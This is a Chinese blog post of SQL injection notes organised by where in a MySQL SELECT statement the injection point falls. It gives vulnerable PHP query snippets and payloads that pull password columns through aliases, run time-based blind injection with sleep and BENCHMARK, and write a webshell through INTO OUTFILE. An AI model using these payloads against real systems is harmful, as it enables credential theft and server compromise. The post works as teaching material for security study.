SQL注入笔记(二)

注入点

一、SELECT注入
1.注入点在select_expr
源码:$res=mysqli_query($conn,"SELECT ${_GET['id']},content ROM wp_news");
既可以采取时间盲注进行数据获取,也可以用AS别名的方法,将查询的结果直接显示到界面,访问?id=(select%20pwd%20from%20wp_user)%20as%20title
注意:若注入点有反引号包裹,应先闭合。
2.注入点在table_reference
SQL语句:$res=mysqli_query($conn,"select title from ${_GET['table']}");
直接用别名的方式取出数据,如:SELECT title FROM (SELECT pwd AS title FROM wp_user)x
在不知道表名的情况下可以先从information_schema.tables中查询表名。
注意:若注入点有反引号包裹,应先闭合。
3.注入点在WHERE和HAVING后:
SQL语句:$res=mysqli_query($conn,"SELECT title FROM wp_news where id={_GET[id]}");
4.注入点在GROUP BY和ORDER BY后
当遇到不是where后的注入点时,先在本地的MySQL中进行尝试,看语句后能加什么,从而判断当前可注入的位置,$res=mysqli_query($conn,"SELECT title FROM wp_news GROUP BY ${_GET['title']}");
经测试发现,title=id desc,(if(1,sleep(1),1))会让页面迟1秒,就可以用时间注入获取相关数据。
5.注入点在limit之后,由于语法限制,LIMIT后只能是数字,在SQL语句中没有ORDER BY语句时 ,可以直接时间注入PROCEDURE analysis(SELECT extravalue(1,concat(0x3a,(IF(MID(VERSION(),1,1) LIKE 5,BENCHMARK(5000000,SHA1(1)),1))))),))BENCHMARK语句处理时间大约是1秒,在有写入权限的特定情况条件下,我们也可以用into outfile语句想web目录写入webshell,在无法控制文件内容的情况下,可通过SELECT xx into outfile "/tmp/xxx.php"LINES TERMINATED BY'<?php phpinfo();?>的方式控制部分内容。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值